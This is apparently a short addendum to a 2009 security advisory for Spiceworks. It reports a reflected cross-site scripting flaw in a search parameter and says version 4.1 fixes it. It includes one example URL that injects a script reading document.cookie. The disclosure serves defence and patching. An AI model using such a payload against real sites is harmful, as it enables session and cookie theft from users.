     Edit: 8/10/2009
     Thank you to Melinda Rosario for pointing out that I forgot to include any details on the XSS
     portion of this advisory. It is a simple reflected XSS in the search parameter.

     Example:

http://example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

     Edit: 8/11/2009
     Per Francis Sullivan at Spiceworks: Update to the latest Spiceworks 4.1 where the security issues
     are addresses.
